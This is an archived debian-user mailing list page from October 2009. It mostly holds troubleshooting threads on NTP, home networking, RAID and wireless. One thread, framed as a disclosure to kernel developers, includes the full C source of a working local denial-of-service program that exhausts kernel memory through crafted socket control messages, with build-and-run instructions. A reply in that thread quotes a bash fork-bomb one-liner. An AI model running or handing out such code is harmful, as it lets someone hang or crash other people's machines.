To UNSUBSCRIBE, email to debian-user-requ...@lists.debian.org 
with a subject of "unsubscribe". Trouble? Contact listmas...@lists.debian.org




Re: Wondering about doing something strange with networking

2009-10-27 Thread green
Alan Chandler wrote at 2009-10-27 02:58 -0500:
> What I am less certain about is how I can cater for Wireless clients 
> coming in over the WAP, who do really need dhcp allocated addresses.  My 
> guess is that they would be requesting leases via some broadcasting 
> mechanism, and that there is no way for the ethernet switch to prevent 
> them going to the cable modem (and thence to my isp) and the dhcp server 
> at my isp responding.

Could this be solved by using a dhcp server (or forwarder to plug computer 
server) on the wireless AP?


signature.asc
Description: Digital signature


Re: NTP Server

2009-10-27 Thread Dennis Wicks

Roman Gelfand wrote the following on 10/27/2009 09:44 AM:

I am running ntp server.  I suppose I need to tell ntp server the
authoritative time server to synchronize with.  How would I do that?

Thanks again



The info is in /etc/ntp.conf as well as some sample entries.

Go to http://www.pool.ntp.org/en/use.html for instructions
on how to use a worldwide pool of stratum-2 timeservers to
keep your system in sync with ROW.

Good Luck!
Dennis



--
To UNSUBSCRIBE, email to debian-user-requ...@lists.debian.org 
with a subject of "unsubscribe". Trouble? Contact listmas...@lists.debian.org




Re: Optical Dell Mouse - seems standard doesn't work on xorg

2009-10-27 Thread Aioanei Rares

Thomas Douillard wrote:
Hi, I've got a problem since an upgrade (I don't kwon since when 
unfortunately), my standard optical wheel mouse don't work anymore on 
X, on an debian SID


I don't know who I must blame (hal, udev, the kernel, xorg ...) so I 
can't post a bugreport on the good package. I'll attach some logfiles, 
if anyone can help me or suggest a way to proceed ...


I also filed a udevadm test, if it can help ...

--
Thomas

Thomas, does it work in console if you enable gpm?


--
To UNSUBSCRIBE, email to debian-user-requ...@lists.debian.org 
with a subject of "unsubscribe". Trouble? Contact listmas...@lists.debian.org




Optical Dell Mouse - seems standard doesn't work on xorg

2009-10-27 Thread Thomas Douillard
Hi, I've got a problem since an upgrade (I don't kwon since when
unfortunately), my standard optical wheel mouse don't work anymore on X, on
an debian SID

I don't know who I must blame (hal, udev, the kernel, xorg ...) so I can't
post a bugreport on the good package. I'll attach some logfiles, if anyone
can help me or suggest a way to proceed ...

I also filed a udevadm test, if it can help ...

--
Thomas


lshal_dellmouse.log
Description: Binary data


dmesg-insert_mouse.log
Description: Binary data


udevadm_monitor.log
Description: Binary data


udevadm_test_mouse.log
Description: Binary data


Re: NTP Server

2009-10-27 Thread Roman Gelfand
I am running ntp server.  I suppose I need to tell ntp server the
authoritative time server to synchronize with.  How would I do that?

Thanks again


-- 
To UNSUBSCRIBE, email to debian-user-requ...@lists.debian.org 
with a subject of "unsubscribe". Trouble? Contact listmas...@lists.debian.org



Re: NTP Server

2009-10-27 Thread Dan Ritter
On Tue, Oct 27, 2009 at 10:27:21AM -0400, Roman Gelfand wrote:
> I have started time server, ran ntpdate command. The time matched.
> Several weeks later the time is off by a little more than a minute.
> What is controlling how often time server updated by the ntpdate
> command?

ntpdate is a one-time operation. You fire it off, typically in
the boot process, and then you don't run it again. I suppose you
could put it in a cronjob.

ntp-server does continuous synchronization. That's what you
really want to be running.

-dsr-



-- 
http://tao.merseine.nu/~dsr/eula.html is hereby incorporated by reference.
You can't defend freedom by getting rid of it.


-- 
To UNSUBSCRIBE, email to debian-user-requ...@lists.debian.org 
with a subject of "unsubscribe". Trouble? Contact listmas...@lists.debian.org



Re: Wondering about doing something strange with networking

2009-10-27 Thread Dan Ritter
On Tue, Oct 27, 2009 at 07:58:18AM +, Alan Chandler wrote:
> The remainder of the devices - although ideally should use dhcp, could 
> be configured with static addresses (and therefore also routes) to 
> regard eth0:0 on the plug computer as a gateway (the plug computer would 
> use 192.168.0.1 as its eth0:0 interface IP address, the dhcp allocated 
> address on eth0 would not be in that range).
> 
> I think, in this scenario, the switch would soon learn not to send arp 
> messages saying who has 192.168.0.x address to the cable modem, 
> (although I am not sure it would matter if it did).
> 
> What I am less certain about is how I can cater for Wireless clients 
> coming in over the WAP, who do really need dhcp allocated addresses.  My 
> guess is that they would be requesting leases via some broadcasting 
> mechanism, and that there is no way for the ethernet switch to prevent 
> them going to the cable modem (and thence to my isp) and the dhcp server 
> at my isp responding.
> 
> Is what I am trying to consider impossible?

No, it can work. You are just confused.

The switch does not know anything about IP addresses. It
understands ethernet MAC addresses. 

$ /sbin/ifconfig
eth0  Link encap:Ethernet  HWaddr 00:24:1d:28:73:b6  
  inet addr:10.1.4.55  Bcast:10.1.255.255 Mask:255.255.0.0
  inet6 addr: fe80::224:1dff:fe28:73b6/64 Scope:Link
  UP BROADCAST RUNNING MULTICAST  MTU:1500  Metric:1
  RX packets:12194355 errors:0 dropped:173155950949126

See that HWaddr: field?

That's a MAC address. It should be unique on every network
interface.

Routers are devices that make decisions on the IP level.
Switches make decisions on the ethernet level.

What you will have problems with is running DHCP, as you
mentioned. Here's what you do:

Get a USB-ethernet connector for your plug. Now you have two
ethernet ports. One goes to the cable modem, one goes to your
switch. Life is good.

Alternatively, hardcode IPs for everything on that switch. You
can either hardcode IPs for your wireless devices, or run DHCP
on a separate subnet  there.

-dsr-


-- 
http://tao.merseine.nu/~dsr/eula.html is hereby incorporated by reference.
You can't defend freedom by getting rid of it.


-- 
To UNSUBSCRIBE, email to debian-user-requ...@lists.debian.org 
with a subject of "unsubscribe". Trouble? Contact listmas...@lists.debian.org



Re: Restricting Internet Access (repost)

2009-10-27 Thread Boyd Stephen Smith Jr.
In <200910271529.18518.d_ba...@012.net.il>, David Baron wrote:
>As undemocratic at it seems, sometimes it is necessary from some logins not
> to be able to access internet browsing and such.

man 8 iptables

Look at the owner match.
-- 
Boyd Stephen Smith Jr.   ,= ,-_-. =.
b...@iguanasuicide.net   ((_/)o o(\_))
ICQ: 514984 YM/AIM: DaTwinkDaddy `-'(. .)`-'
http://iguanasuicide.net/\_/


signature.asc
Description: This is a digitally signed message part.


Re: Local DoS in kernel 2.6.26

2009-10-27 Thread Boyd Stephen Smith Jr.
In <8857b3150910270527p4d18d958mc2034eed29dc3...@mail.gmail.com>, surreal 
wrote:
>I saw that RAM wasent running out, but the CPU usage was 100%. I didnt wait
>for computer to hang, but I think this code is dangerous and can be used for
>malicious intentions.

If that's the only thing that happens, there are a lot easier ways to be 
malicious.

(:(){:&:;};:) at a shell prompt should peg all your CPUs and run you out of 
process ids.
-- 
Boyd Stephen Smith Jr.   ,= ,-_-. =.
b...@iguanasuicide.net   ((_/)o o(\_))
ICQ: 514984 YM/AIM: DaTwinkDaddy `-'(. .)`-'
http://iguanasuicide.net/\_/


signature.asc
Description: This is a digitally signed message part.


Re: Linux Raid Partitions

2009-10-27 Thread Dan Ritter
On Tue, Oct 27, 2009 at 06:11:40PM +1100, Stephen Grant Brown wrote:
> Hi Dan,
> 
> Thank you for your reply.
> 
> /proc/mdstat -> no such file or dir
> /dev/md0 -> no such file or dir
> 
> mdadm -Q /dev/sdb2:  -> device 0 in 2 undetected raid1
> 
> mdadm -Q /dev/sdb4 -> device 0 in 2 undetected raid1
> 
> mdadm -A /dev/md0 /dev/sdb2 /dev/sdb4
> 
> =>
> 
> mdadm: error opening /dev/md0
> 
> How do I create /dev/md0?

Try

sudo modprobe md_mod

to load the MD driver, then check /proc/mdstat.

The -Q info does not look promising.

-dsr-


-- 
http://tao.merseine.nu/~dsr/eula.html is hereby incorporated by reference.
You can't defend freedom by getting rid of it.


-- 
To UNSUBSCRIBE, email to debian-user-requ...@lists.debian.org 
with a subject of "unsubscribe". Trouble? Contact listmas...@lists.debian.org



NTP Server

2009-10-27 Thread Roman Gelfand
I have started time server, ran ntpdate command. The time matched.
Several weeks later the time is off by a little more than a minute.
What is controlling how often time server updated by the ntpdate
command?

Thanks in advance


-- 
To UNSUBSCRIBE, email to debian-user-requ...@lists.debian.org 
with a subject of "unsubscribe". Trouble? Contact listmas...@lists.debian.org



Re: How to install Debian on a server with a LSISAS1068E controller

2009-10-27 Thread Allan Wind
On 2009-10-26T21:14:45, David Liontooth wrote:
> Do you have the PCI ID for the controller this worked on? Did it need  
> megaraid_sas or mptsas?

You need to change a dip switch on the motherboard from the 
default RAID to "IT" mode.  Then obtain a firmware from 
SuperMicro to flash the card.  Here is lspci and dmesg output:

# lspci -k | grep -A1 LSI
03:00.0 SCSI storage controller: LSI Logic / Symbios Logic 
SAS1068E PCI-Express Fusion-MPT SAS (rev 08)
Kernel driver in use: mptsas

[   86.039080] Fusion MPT base driver 3.04.07
[   86.039082] Copyright (c) 1999-2008 LSI Corporation
[   86.039087] Fusion MPT SAS Host driver 3.04.07
[   86.039117] mptsas :03:00.0: PCI INT A -> GSI 16 (level, 
low) -> IRQ 16
[   86.039142] mptbase: ioc0: Initiating bringup
[   86.316043] ioc0: LSISAS1068E B3: Capabilities={Initiator}
[   86.316060] mptsas :03:00.0: setting latency timer to 64
...
[   98.422283] scsi4 : ioc0: LSISAS1068E B3, FwRev=011ah, 
Ports=1, MaxQ=478, IRQ=16


/Allan
-- 
Allan Wind
Life Integrity, LLC



-- 
To UNSUBSCRIBE, email to debian-user-requ...@lists.debian.org 
with a subject of "unsubscribe". Trouble? Contact listmas...@lists.debian.org



Re: wicd fails to detect wifi networks

2009-10-27 Thread Vincent Lefevre
On 2009-10-27 10:19:59 +, Liviu Andronic wrote:
> More wicd blues. Some time ago I reported that wicd was failing to
> start the GUI [1]. After getting more and more dishearten with
> NetworkManager, I gave wicd another try. This time the wicd GUI starts
> all right, but it identifies a wired connection to which it tries to
> connect (even though no wire is plugged to the laptop). Most
> annoyingly, it does not find any wireless networks (as if the wifi
> radio was killed, although it is well up). All this is on Debian
> testing with wicd and dependencies up-to-date.

I don't have any such problem on my laptop (unstable), except when
I re-enable the wifi radio after booting.

BTW, what's the "ifconfig -a" output?

-- 
Vincent Lefèvre  - Web: 
100% accessible validated (X)HTML - Blog: 
Work: CR INRIA - computer arithmetic / Arénaire project (LIP, ENS-Lyon)


-- 
To UNSUBSCRIBE, email to debian-user-requ...@lists.debian.org 
with a subject of "unsubscribe". Trouble? Contact listmas...@lists.debian.org



Re: Network Manager wants to access default keyring

2009-10-27 Thread Preston Boyington
Mr. Wang Long wrote:
> On Tue, Oct 27, 2009 at 12:05, Preston Boyington
>  wrote:
>> (commented in-line)
>>
>> On Mon, Oct 26, 2009 at 6:00 PM, Michael Biebl  wrote:
>> 
>>
>> I've re-created my keyring and made sure that the libpam files are
>> installed.  Still the same message.
>>
>> After rebooting I took a more careful look at the message:
>> "The application 'NetworkManager Applet' (/usr/bin/nm-applet) wants to
>> access the default keyring, but it is locked"
>>
>> so is it actually talking about the little applet running in the
>> taskbar not having permission?  what's the workaround for this...
>> other than typing the password each time.
>>
>>
> 
> The default keyring should be automately unlocked if you are login by
> typing your username and password in gdm, did you enabled auto-login
> in gdm?

yes.  GDM is set to login automatically.

-- 

Arrant Drivel - really, it's just trash...
http://www.arrantdrivel.com/

Where the road takes me - a highwayman's perspective
http://www.prestonboyington.com/


-- 
To UNSUBSCRIBE, email to debian-user-requ...@lists.debian.org 
with a subject of "unsubscribe". Trouble? Contact listmas...@lists.debian.org



Re: google chrome extensions

2009-10-27 Thread Frank McCormick
-BEGIN PGP SIGNED MESSAGE-
Hash: SHA1

On Tue, 27 Oct 2009 06:30:31 -0600
Hugo Vanwoerkom  wrote:

> > On Mon, 26 Oct 2009 19:30:57 -0400
> > Bogdan  wrote:
> > 
> >> Hey,
> >>
> >> Has anyone managed to get the extensions going for the latest
> >> chromium build ( 4.0.223.11)?
> >> They seem to install fine  but they do not work, and also, are not 
> >> getting listed when "about://extensions/".
> > 
> >   They are problematic with the latest unstable build...but seem OK
> > with the latest developer build.
> > This is what I am running now: 
> > 
> > 
> > Chromium4.0.224.4 (Developer Build 30026)
> > WebKit  532.3
> > V8  1.3.16.1
> 
> Where does one get that?



   http://build.chromium.org/buildbot/snapshots/chromium-rel-linux/


- -- 
Frank
-BEGIN PGP SIGNATURE-
Version: GnuPG v1.4.10 (GNU/Linux)

iQEcBAEBAgAGBQJK5v2MAAoJEMEDyLTvrVhjLTAH+gOESXLEPKzDlb6rEc1be7OS
bysvj1pUsM9/+JRR2x9fX0L+LEjqYr/GOyak0Ag1ec682IVr0seqaPOPd8JHbft4
YzlA1JjGGCU9IW/XctDaqc1LFuKz4CAzooNhLEItMlPsfllorwgZNGoyfCWUpEBy
vkwB+x9O4+FyoPaAD5gl+vcYEF9YTF4gyRmsdrhNto5wM+J60zJW+HuCuiwcoatr
A0i3CVi4L+KxBFuHksY/mNa16Ey5Gu0FGL4bVVvcGLMQqjnqt+QV9boVsuaayjj7
pGWNJieHDHqtat22bya77xQZCW7NoN5P/CEy8IuorbSRLQzAUhkzNWOAYVpJUY8=
=aL5T
-END PGP SIGNATURE-


-- 
To UNSUBSCRIBE, email to debian-user-requ...@lists.debian.org 
with a subject of "unsubscribe". Trouble? Contact listmas...@lists.debian.org



Restricting Internet Access (repost)

2009-10-27 Thread David Baron
As undemocratic at it seems, sometimes it is necessary from some logins not to 
be able to access internet browsing and such.

How might one set this up?


-- 
To UNSUBSCRIBE, email to debian-user-requ...@lists.debian.org 
with a subject of "unsubscribe". Trouble? Contact listmas...@lists.debian.org



Changing from ADSL Modem to Router

2009-10-27 Thread David Baron
I connect now through pptp. The computer sends the login and a cron job 
attempts to keep the connection. Various files in /etc/ppp/peers have login 
info and some options.

How do I change to a router (the router logs in and tries to keep the 
connection)?


-- 
To UNSUBSCRIBE, email to debian-user-requ...@lists.debian.org 
with a subject of "unsubscribe". Trouble? Contact listmas...@lists.debian.org



problem with debian lenny 503 netinstall

2009-10-27 Thread Morten Gulbrandsen
-BEGIN PGP SIGNED MESSAGE-
Hash: SHA1

Dear debian users,

again I tried with debian lenny 503 netinstall.

first problem was printing.

It issued something like  kerneloops.

I accepted so the message may be sendt to kerneloops.

I was able to print a cups test page.

On previous versions of debian,  I think  500
printing was not a problem.

The next problem I'm likely to face is when new updates are offered.

that chrashed my system.

I can try to send a succesfull install report. Also with the cups or
printing debug message.

I like this paper and try to follow the steps as suggested here:

http://www.debian.org/releases/stable/i386/

http://debian-community.org/lennyfaq/

http://www.doviak.net/debian/debian_install_guide.pdf

is a nice guide howto install Lenny.

This FAQ needs your questions and answers !

I can also try the older version of debian, which had everything right
on the fly.

debianlenny503 is difficult for me currently, and the
linux penguin noticed something strange about the kernel.

It still may be a user error.  Debian may have new features which
operates different than what I'm used to.

Question: is this known? How can I troubleshoot this?

except dmesg  lspci and the troubleshoot.txt ?




Sincerely yours,

Morten Gulbrandsen

主バイトホイットフィールド
_
Java programmer, C++ programmer
CAcert Assurer, GSWoT introducer, thawte Notary
Gossamer Spider Web of Trust http://www.gswot.org
Please consider the environment before printing this e-mail!

-BEGIN PGP SIGNATURE-
Version: GnuPG v1.4.9 (SunOS)
Comment: For keyID and its URL see the OpenPGP message header

iEYEARECAAYFAkrm9FkACgkQ9ymv2YGAKVSb/wCeLqutQ/Q7Il2PtA/FLz2C6xLh
sD4AoMHrWgFi7xr1gyfdCHCwyAgAEFC0
=Z3pQ
-END PGP SIGNATURE-
Page 1 (Scheduler not running?):
{'cups_connection_failure': False}
Page 2 (Choose printer):
{'cups_dest': ,
 'cups_instance': None,
 'cups_queue': 'HP-LaserJet-5P',
 'cups_queue_listed': True}
Page 3 (Check printer sanity):
{'cups_device_uri_scheme': u'hp',
 'cups_printer_dict': {'device-uri': 
u'hp:/par/HP_LaserJet_5P?device=/dev/parport0',
   'printer-info': u'QueueChanged',
   'printer-is-shared': True,
   'printer-location': u'HP-LaserJet-5P',
   'printer-make-and-model': u'HP LaserJet 5p 
Foomatic/hpijs, hpijs 2.8.6b',
   'printer-state': 3,
   'printer-state-message': u'',
   'printer-state-reasons': [u'none'],
   'printer-type': 135196,
   'printer-uri-supported': 
u'ipp://localhost:631/printers/HP-LaserJet-5P'},
 'cups_printer_remote': 0,
 'hplip_output': (['',
   '\x1b[01mHP Linux Imaging and Printing System (ver. 
2.8.6b)\x1b[0m',
   '\x1b[01mSystem Tray Status Service ver. 0.1\x1b[0m',
   '',
   'Copyright (c) 2001-8 Hewlett-Packard Development Company, 
LP',
   'This software comes with ABSOLUTELY NO WARRANTY.',
   'This is free software, and you are welcome to distribute 
it',
   'under certain conditions. See COPYING file for more 
details.',
   '',
   '',
   '\x1b[01mHP Linux Imaging and Printing System (ver. 
2.8.6b)\x1b[0m',
   '\x1b[01mDevice Information Utility ver. 4.1\x1b[0m',
   '',
   'Copyright (c) 2001-8 Hewlett-Packard Development Company, 
LP',
   'This software comes with ABSOLUTELY NO WARRANTY.',
   'This is free software, and you are welcome to distribute 
it',
   'under certain conditions. See COPYING file for more 
details.',
   '',
   '',
   '\x1b[01mhp:/par/HP_LaserJet_5P?device=/dev/parport0\x1b[0m',
   '',
   '\x1b[01mDevice Parameters (dynamic data):\x1b[0m',
   '\x1b[01m  Parameter Value(s)
  \x1b[0m',
   '    
--',
   '  back-end  hp  
  ',
   '  cups-printer  HP-LaserJet-5P  
  ',
   '  cups-uri  
hp:/par/HP_LaserJet_5P?device=/dev/parport0   ',
   '  dev-file  /dev/parport0   
  ',
   '  device-state  -1  
  ',
   '  device-uri
hp:/par/HP_LaserJet_5P?device=/dev/parport0   ',
  

Re: Local DoS in kernel 2.6.26

2009-10-27 Thread Aioanei Rares

surreal wrote:
I just caught hold of a C source code from 2005. This code is a local 
DoS which fills up the entire memory on Linux 2.6.N kernels.


At that time, I used Fedora Core 4 and a pentium 4 machine with 512 MB 
ram. After compiling and running this program on the old machine, it 
used to hang within 40 seconds.


I compiled and ran this program on a test machine having Dual Core 
CPU, 2 GB ram and Debian Lenny to see if this code holds good today.


I saw that RAM wasent running out, but the CPU usage was 100%. I didnt 
wait for computer to hang, but I think this code is dangerous and can 
be used for malicious intentions.


I am sending the code so that we can prevent bad use of it. It still 
has potential of a local DoS. I hope kernel hackers might get 
interested in this.


This code isent tested on AMD 64 bit kernel, but on a 2.6.26 stable 
kernel.


The C code is attached with this mail.

800df127fbcb5552a455b6742b62bfe0  mseak.c

Just gcc mseak.c -o mseak; mseak & to see the effects.


--
Harshad Joshi
Tested it on my amd64 machine running latest git, but except for the CPU 
going at 100%, nothing else happens.



--
To UNSUBSCRIBE, email to debian-user-requ...@lists.debian.org 
with a subject of "unsubscribe". Trouble? Contact listmas...@lists.debian.org




Re: Local DoS in kernel 2.6.26

2009-10-27 Thread Nuno Magalhães
> I am sending the code so that we can prevent bad use of it. It still has
> potential of a local DoS. I hope kernel hackers might get interested in
> this.

Shouldn't it be sent to a kernel mailling-list then?

-- 
()  ascii-rubanda kampajno - kontraŭ html-a retpoŝto
/\  ascii ribbon campaign - against html e-mail


--
To UNSUBSCRIBE, email to debian-user-requ...@lists.debian.org
with a subject of "unsubscribe". Trouble? Contact listmas...@lists.debian.org



Local DoS in kernel 2.6.26

2009-10-27 Thread surreal
I just caught hold of a C source code from 2005. This code is a local DoS
which fills up the entire memory on Linux 2.6.N kernels.

At that time, I used Fedora Core 4 and a pentium 4 machine with 512 MB ram.
After compiling and running this program on the old machine, it used to hang
within 40 seconds.

I compiled and ran this program on a test machine having Dual Core CPU, 2 GB
ram and Debian Lenny to see if this code holds good today.

I saw that RAM wasent running out, but the CPU usage was 100%. I didnt wait
for computer to hang, but I think this code is dangerous and can be used for
malicious intentions.

I am sending the code so that we can prevent bad use of it. It still has
potential of a local DoS. I hope kernel hackers might get interested in
this.

This code isent tested on AMD 64 bit kernel, but on a 2.6.26 stable kernel.

The C code is attached with this mail.

800df127fbcb5552a455b6742b62bfe0  mseak.c

Just gcc mseak.c -o mseak; mseak & to see the effects.


-- 
Harshad Joshi
/* memory leak
 * Copyright Georgi Guninski
 * Cannot be used in vulnerability databases (like securityfocus and mitre)
 * */
#include 
#include 
#include 
#include 
#include 
#include 
#include 
#include 
#include 
#include 

int main(int ac,char **av)
{
struct msghdr msghdr;
struct iovec iovector[10];
int i,s,j,ma;
struct sockaddr_in sockad;
char msg[128];
struct cmsghdr *cmsg,*cm2;
char opts[24];

ma=250;
printf("just wait and watch memory usage\n");

memset(opts,0,sizeof(opts));

while(42)
{
s=socket(PF_INET, SOCK_DGRAM, 0);
sockad.sin_family = AF_INET;
sockad.sin_addr.s_addr=inet_addr("127.0.0.1");
sockad.sin_port=htons(8080);

connect(s,(struct sockaddr *) &sockad, sizeof(sockad));

memset(msg,'v',sizeof(msg));
#define VV (ma*(sizeof(struct cmsghdr)+sizeof(opts))+1024*1024)
cmsg = malloc(VV);
memset(cmsg,0,VV);
cmsg->cmsg_len = sizeof(struct cmsghdr) + sizeof(opts);
cmsg->cmsg_level = SOL_IP;
cmsg->cmsg_type = IP_RETOPTS;
memcpy(CMSG_DATA(cmsg), opts, sizeof(opts));

cm2= (struct cmsghdr *) (long) ((char *)CMSG_DATA(cmsg)+sizeof(opts));
for(j=0;jcmsg_level = SOL_IP;
cm2->cmsg_type = IP_RETOPTS;
cm2->cmsg_len = sizeof(struct cmsghdr) + sizeof(opts);
cm2= (struct cmsghdr *) (long) ((char *)CMSG_DATA(cm2)+sizeof(opts));
}

cm2->cmsg_level = SOL_IP;
cm2->cmsg_type = IP_RETOPTS;
cm2->cmsg_len = sizeof(struct cmsghdr) + 8;

msghdr.msg_name = &sockad;
msghdr.msg_namelen = sizeof(sockad);

msghdr.msg_control=cmsg;
msghdr.msg_controllen= cmsg->cmsg_len + (j)*cmsg->cmsg_len+cm2->cmsg_len;
msghdr.msg_iov = iovector;

msghdr.msg_iovlen = 1;
iovector[0].iov_base = msg;
iovector[0].iov_len = sizeof(msg);

if ((i = sendmsg(s, &msghdr, 0)) < 0)
{perror("sendmsg");return -42;}

close(s);
free(cmsg);
}
return 42;
}


deadkeys with openoffice

2009-10-27 Thread Hugo Vanwoerkom

Hi,

No matter what I do I cannot get my deadkeys to work in openoffice.
Anybody have better luck?
éáñ like these...

Hugo


--
To UNSUBSCRIBE, email to debian-user-requ...@lists.debian.org 
with a subject of "unsubscribe". Trouble? Contact listmas...@lists.debian.org




Re: google chrome extensions

2009-10-27 Thread Hugo Vanwoerkom

Frank McCormick wrote:

-BEGIN PGP SIGNED MESSAGE-
Hash: SHA1

On Mon, 26 Oct 2009 19:30:57 -0400
Bogdan  wrote:


Hey,

Has anyone managed to get the extensions going for the latest chromium 
build ( 4.0.223.11)?
They seem to install fine  but they do not work, and also, are not 
getting listed when "about://extensions/".

I'm running Debian Unstable/KDE 4.3




  They are problematic with the latest unstable build...but seem OK
with the latest developer build.
This is what I am running now: 



Chromium4.0.224.4 (Developer Build 30026)
WebKit  532.3
V8  1.3.16.1
User Agent  Mozilla/5.0 (X11; U; Linux i686; en-US) AppleWebKit/532.3 
(KHTML, like Gecko) Chrome/4.0.224.4 Safari/532.3




Where does one get that?

Hugo


--
To UNSUBSCRIBE, email to debian-user-requ...@lists.debian.org 
with a subject of "unsubscribe". Trouble? Contact listmas...@lists.debian.org




Re: Inquiry:External USB modem and Remote PC Access?

2009-10-27 Thread Micha Feigin
If it's supposed to answer the phone, I think that there is a getty app that 
does that, never did it and I'm not sure how many people did in the last sever 
years.

as for a pc-anywhere solution, you can do one of several

ssh into the box with x forwarding if you want to run X apps and just run them, 
you will see a gui at your end. ssh is supposed to take care of setting up 
which display to show the apps on. You can also run in text mode.

use a vnc server to show the remote desktop

setup x to accept remote connection and log in remotely (gdm/kdm etc support 
this)



On Mon, 26 Oct 2009 05:21:59 +
hadi motamedi  wrote:

> Thanks for your reply . Sorry , I had mistake in typing . My server is
> really an Debian one . Please do me favor and comment me back .
> Thank you in advance
> 
> 
> 
> On Mon, Oct 26, 2009 at 5:06 AM, Julian De Marchi  > wrote:
> 
> > hadi motamedi wrote:
> > >  Dear All
> > > Please be informed that I checked for the presence of internal modem on
> > my
> > > CentOS server , as the followings :
> >
> > Might be better to ask on the CentOS list
> >
> > --
> > Cheers,
> > Julian De Marchi
> > --
> > OpenNIC user - http://www.opennicproject.org/ | http://www.opennic.glue
> > Support OpenNIC, become a member today!
> > --
> > PGP 0x8D659814
> > --
> > Please avoid sending me Word or PowerPoint attachments.
> > See http://www.gnu.org/philosophy/no-word-attachments.html
> >
> >
> > --
> > To UNSUBSCRIBE, email to debian-user-requ...@lists.debian.org
> > with a subject of "unsubscribe". Trouble? Contact
> > listmas...@lists.debian.org
> >
> >


-- 
To UNSUBSCRIBE, email to debian-user-requ...@lists.debian.org 
with a subject of "unsubscribe". Trouble? Contact listmas...@lists.debian.org



Re: Network manager doesn't autoconnect to wireless networks in stable?

2009-10-27 Thread chombee
For me it happens every time I boot up the laptop -- it does not 
automatically connect to my wireless network. Apart from not 
automatically connecting network manager works perfectly, detects all 
the wireless networks, connects to my network when I click on it, so it 
feels more like a configuration issue than a driver one. I'm running 
Debian stable, when I was running testing recently on the same laptop it 
_was_ automatically re-connecting.

The laptop in question is an OLPC XO-1 running DebXO, a build of debian 
for the XO-1 with a custom kernel. I tried the ifconfig and iwconfig 
commands but I don't seem to have them installed. Not sure about 
installing wireless tools and whether they might mess with network 
manager.


-- 
To UNSUBSCRIBE, email to debian-user-requ...@lists.debian.org 
with a subject of "unsubscribe". Trouble? Contact listmas...@lists.debian.org



Re: wicd fails to detect wifi networks

2009-10-27 Thread Tim Tebbit
Liviu Andronic wrote:
> Dear all
> More wicd blues. Some time ago I reported that wicd was failing to
> start the GUI [1]. After getting more and more dishearten with
> NetworkManager, I gave wicd another try. This time the wicd GUI starts
> all right, but it identifies a wired connection to which it tries to
> connect (even though no wire is plugged to the laptop). Most
> annoyingly, it does not find any wireless networks (as if the wifi
> radio was killed, although it is well up). All this is on Debian
> testing with wicd and dependencies up-to-date.
> 
> Any ideas on how to fix the issue? Thank you
> Liviu
> 
> [1] http://www.mail-archive.com/debian-user@lists.debian.org/msg95.html


Double check that you have identified what your wireless interface is in
 wicd's Preferences. By default I believe it is left blank. Also in
there, you may have "always show wired interface" selected.



-- 
To UNSUBSCRIBE, email to debian-user-requ...@lists.debian.org 
with a subject of "unsubscribe". Trouble? Contact listmas...@lists.debian.org



Re: wicd fails to detect wifi networks

2009-10-27 Thread Nate Bargmann
Is your user a member of the 'netdev' group?  You also need to assure
that only the 'lo' interface stanza is uncommented.

See /usr/share/doc/wicd/README.Debian and
/usr/share/doc/wicd/NEWS.Debian.gz

- Nate >>

-- 

"The optimist proclaims that we live in the best of all
possible worlds.  The pessimist fears this is true."

Ham radio, Linux, bikes, and more: http://n0nb.us/index.html


-- 
To UNSUBSCRIBE, email to debian-user-requ...@lists.debian.org 
with a subject of "unsubscribe". Trouble? Contact listmas...@lists.debian.org



Re: broken packages

2009-10-27 Thread Eduardo M KALINOWSKI
Daniel Dalton wrote:
> Hi,
>
> I tried to install a deb package from a website, it only parcially
> installed, and now won't remove. I've even tried using the --force
> option, it just says I should try reinstalling, but when I do that I get
> errors with installations. So how do I remove this package from my
> system? Because dpkg won't remove it no matter what I try i just tried
> the usual way as well as with the --force option.. 
>   

Unfortunately my crystall ball is broken, so I'm unable to find out what
could be causing the problem. You'll have to resort to the old-fashioned
way of posting the output of the commands you try so that someone can
come up with a solution.

-- 
"Even if you're on the right track, you'll get run over if you just sit there."
-- Will Rogers

Eduardo M KALINOWSKI
edua...@kalinowski.com.br


-- 
To UNSUBSCRIBE, email to debian-user-requ...@lists.debian.org 
with a subject of "unsubscribe". Trouble? Contact listmas...@lists.debian.org



broken packages

2009-10-27 Thread Daniel Dalton
Hi,

I tried to install a deb package from a website, it only parcially
installed, and now won't remove. I've even tried using the --force
option, it just says I should try reinstalling, but when I do that I get
errors with installations. So how do I remove this package from my
system? Because dpkg won't remove it no matter what I try i just tried
the usual way as well as with the --force option.. 

Thanks


-- 
To UNSUBSCRIBE, email to debian-user-requ...@lists.debian.org 
with a subject of "unsubscribe". Trouble? Contact listmas...@lists.debian.org



Re: Recommended Debian package for hard disk cloning

2009-10-27 Thread Holger Rauch
Hi Javier,

On Mon, 26 Oct 2009, Javier Barroso wrote:

> Hi,
[...]
> 
> If you have another machine with disks availables:
> cat raw devices to other machine throw ssh/nc and vgchange -u and vgrename

thanks a lot for mentioning this hint, but I was talking about the
senario when both disks are connected to the same machine.

Any recommendations for that?

Thanks in advance & kind regards,

   Holger
   

signature.asc
Description: Digital signature


wicd fails to detect wifi networks

2009-10-27 Thread Liviu Andronic
Dear all
More wicd blues. Some time ago I reported that wicd was failing to
start the GUI [1]. After getting more and more dishearten with
NetworkManager, I gave wicd another try. This time the wicd GUI starts
all right, but it identifies a wired connection to which it tries to
connect (even though no wire is plugged to the laptop). Most
annoyingly, it does not find any wireless networks (as if the wifi
radio was killed, although it is well up). All this is on Debian
testing with wicd and dependencies up-to-date.

Any ideas on how to fix the issue? Thank you
Liviu

[1] http://www.mail-archive.com/debian-user@lists.debian.org/msg95.html



-- 
Do you know how to read?
http://www.alienetworks.com/srtest.cfm
Do you know how to write?
http://garbl.home.comcast.net/~garbl/stylemanual/e.htm#e-mail


-- 
To UNSUBSCRIBE, email to debian-user-requ...@lists.debian.org 
with a subject of "unsubscribe". Trouble? Contact listmas...@lists.debian.org



kernel panic when doing mkfs.ext3 on a /dev/md0 (/dev/sdb /dev/sdc)

2009-10-27 Thread Leonardo Ruoso
Hi,

I have a fresh Debian Lenny Box with three Sata Disks (250GB and 2 X 500GB).

"/" is mounted on the first disk (/dev/sda) outside any raid array.

The other disks (/dev/sdb and /dev/sdc) have only one raid partition
each and were used by mdadm to create a software raid array
(/dev/md0).

I keep getting Kernel Panic whenever I try mkfs.ext2(3|4): mkfs.ext2 /dev/md0.

I googled it, but most of the kernel panic pages refers to booting
from a raid array, which is not my case.

TIA,



Atenciosamente,

Leonardo Ruoso (CE1921JP)
leona...@oktiva.com.br - (85) 8787-0312
Marketing, Comunicação Social e Tecnologia



Sent from Fortaleza, CE, Brazil


--
